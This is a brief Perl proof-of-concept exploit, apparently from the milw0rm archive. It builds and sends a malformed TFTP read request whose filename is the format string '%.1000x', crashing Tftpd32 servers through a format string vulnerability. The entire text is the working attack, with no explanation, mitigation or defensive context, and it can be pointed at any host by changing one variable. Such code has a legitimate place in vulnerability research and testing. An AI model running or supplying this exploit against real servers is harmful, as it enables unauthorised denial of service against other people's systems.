#!/usr/bin/perl # Tftpd32 Format String PoC DoS by Critical Security research http://www.critical.lt use IO::Socket; $port = "69"; $host = "127.0.0.1"; $tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp'); $bzz = "\x00\x01" ; #GET $bzz .= "%.1000x\x00"; $bzz .= "\x6F\x63\x74\x65\x74\x00"; #octet $tftpudp->send($bzz); # milw0rm.com [2006-01-19]